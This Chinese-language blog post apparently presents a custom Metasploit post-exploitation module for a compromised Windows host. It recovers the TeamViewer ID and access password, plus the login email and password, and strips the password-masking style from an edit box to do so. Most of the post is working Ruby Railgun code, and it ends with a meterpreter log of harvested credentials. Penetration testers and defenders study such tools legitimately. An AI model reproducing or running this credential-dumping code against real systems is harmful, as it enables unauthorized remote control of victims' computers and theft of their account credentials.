Kali-Team

Dump TeamViewer ID and Password

前言

有时候会遇到目标主机安装有TeamViewer,在这种情况下一般会上传一个编译好的程序读取ID和控制密码,这样就可以连接上TeamViewer进而控制目标主机的屏幕操作,管理文件和连接VPN等等。

Metasploit中没有模块可以读取TeamViewer的ID和控制密码。我决定创建一个Metasploit模块,这个模块可以读取Teamviewer的ID和控制密码,如果登录窗口存在密码还会读取Email和登录密码。

怎么做

首先,这个模块使用了Metasploit中的Railgun功能,加载Windows内置动态链接库中的User32.dll并调用一些窗口函数,通过枚举窗口的信息,找到ID和控制密码的编辑框的句柄,然后发送Windows消息得到编辑框里的文本内容。

获取Teamviewer的主窗口句柄,一开始是通过FindWindows函数查找窗口标题得到窗口的句柄,但是在不同的主机里的系统语言可能不一样,这里考虑了兼容性,所以我使用了读取注册表"HKEY_CURRENT_USER\\Software\\TeamViewer"中的MainWindowHandle值作为主窗口的句柄。

获取ID和控制密码的代码:

# EnumWindows Function not work in RailGun, I don\'t know how to define the lpEnumFunc parameter
def enum_id_and_password(hwnd_main)
  hwnd_mwrcp = client.railgun.user32.FindWindowExW(hwnd_main, nil, \'MainWindowRemoteControlPage\', nil)
  hwnd_irccv = client.railgun.user32.FindWindowExW(hwnd_mwrcp[\'return\'], nil, \'IncomingRemoteControlComponentView\', nil)
  hwnd_custom_runner_id = client.railgun.user32.FindWindowExW(hwnd_irccv[\'return\'], nil, \'CustomRunner\', nil)
  hwnd_custom_runner_pass = client.railgun.user32.FindWindowExW(hwnd_irccv[\'return\'], hwnd_custom_runner_id[\'return\'], \'CustomRunner\', nil)
  #  find edit box handle
  hwnd_id_edit_box = client.railgun.user32.FindWindowExW(hwnd_custom_runner_id[\'return\'], nil, \'Edit\', nil)
  print_status("Found handle to ID edit box #{hwnd_id_edit_box[\'return\'].to_s(16).rjust(8, \'0\')}")
  hwnd_pass_edit_box = client.railgun.user32.FindWindowExW(hwnd_custom_runner_pass[\'return\'], nil, \'Edit\', nil)
  print_status("Found handle to Password edit box #{hwnd_pass_edit_box[\'return\'].to_s(16).rjust(8, \'0\')}")
  #  get window text
  if hwnd_id_edit_box[\'return\'] && hwnd_pass_edit_box[\'return\']
    print_good("ID: #{get_window_text(hwnd_id_edit_box[\'return\'])}")
    print_good("PASSWORD: #{get_window_text(hwnd_pass_edit_box[\'return\'])}")
  else
    print_error(\'Handle for TeamViewer ID or password edit box not found\')
  end
end

获取Email和登录密码的代码:

def enum_email_and_password(hwnd_main)
  hwnd_lp = client.railgun.user32.FindWindowExW(hwnd_main, nil, \'LoginPage\', nil)
  hwnd_lfv = client.railgun.user32.FindWindowExW(hwnd_lp[\'return\'], nil, \'LoginFormView\', nil)
  #  find edit box handle
  hwnd_email_edit_box = client.railgun.user32.FindWindowExW(hwnd_lfv[\'return\'], nil, \'Edit\', nil)
  print_status("Found handle to Email edit box #{hwnd_email_edit_box[\'return\'].to_s(16).rjust(8, \'0\')}")
  hwnd_pass_edit_box = client.railgun.user32.FindWindowExW(hwnd_lfv[\'return\'], hwnd_email_edit_box[\'return\'], \'Edit\', nil)
  print_status("Found handle to Password edit box #{hwnd_pass_edit_box[\'return\'].to_s(16).rjust(8, \'0\')}")
  #  Remove ES_PASSWORD style
  #  https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowlongw
  #  https://docs.microsoft.com/en-us/windows/win32/controls/edit-control-styles
  #  GWL_STYLE  -16
  client.railgun.user32.SetWindowWord(hwnd_pass_edit_box[\'return\'], -16, 0)
  #  get window text
  if hwnd_email_edit_box[\'return\'] && hwnd_pass_edit_box[\'return\']
    print_good("EMAIL: #{get_window_text(hwnd_email_edit_box[\'return\'])}")
    print_good("PASSWORD: #{get_window_text(hwnd_pass_edit_box[\'return\'])}")
  else
    print_error(\'Handle for TeamViewer ID or Password edit box not found\')
  end
end

因为再Railgun中EnumChildWindows有一个参数是要重载EnumChildProc方法的,Metasploit做不到,也不是做不到,应该说比较麻烦,要在进程中申请一段有执行权限的内存,再把这个函数的shellcode写到这个地址,才能使用EnumChildWindows去调用这个方法,所以我就换为了FindWindowExW一层一层的找,还好Teamviewer编辑框的窗口类名都是不变的,使得这个方法可行。

找到编辑框的句柄之后就要获取编辑框里面的内容了,用C语言可以调用GetWindowTextW函数,但是在Metasploit又是行不通的,Railgun中这个函数有一个lpString参数是返回值,目前我还没找到调用他的方法。

所以我写了一个函数获取Windows标题:

def get_window_text(window_hwnd)
  if window_hwnd
    addr = session.railgun.util.alloc_and_write_wstring(\'Kali-Team\')
    client.railgun.user32.SendMessageW(window_hwnd, \'WM_GETTEXT\', 1024, addr)
    text = session.railgun.util.read_wstring(addr)
    client.railgun.multi([
      [\'kernel32\', \'VirtualFree\', [addr, 0, MEM_RELEASE]],
    ])
    if text == \'\'
      return \'The content of this edit box is empty\'
    else
      return text
    end
  else
    return nil
  end
end

模块使用

当你得到一个meterpreter会话的时候,可以直接执行该模块

meterpreter > run post/windows/gather/credentials/teamviewer_id_pwd 

[*] TeamViewer\'s language setting options are \'en\'
[*] TeamViewer\'s version is \'15.3.2682 \'
[+] The PID of TeamViewer\'s process has been found to be  3188.
[+] TeamViewer\'s  title is \'TeamViewer\'
[*] Found handle to ID edit box 00010596
[*] Found handle to Password edit box 0001059c
[+] ID: 1 561 912 659
[+] PASSWORD: 718xuu
[*] Found handle to Email edit box 0001054c
[*] Found handle to Password edit box 00010554
[+] EMAIL: kali-team@qq.com
[+] PASSWORD: MyPassword.
meterpreter > 

分类:

技术点:

相关文章: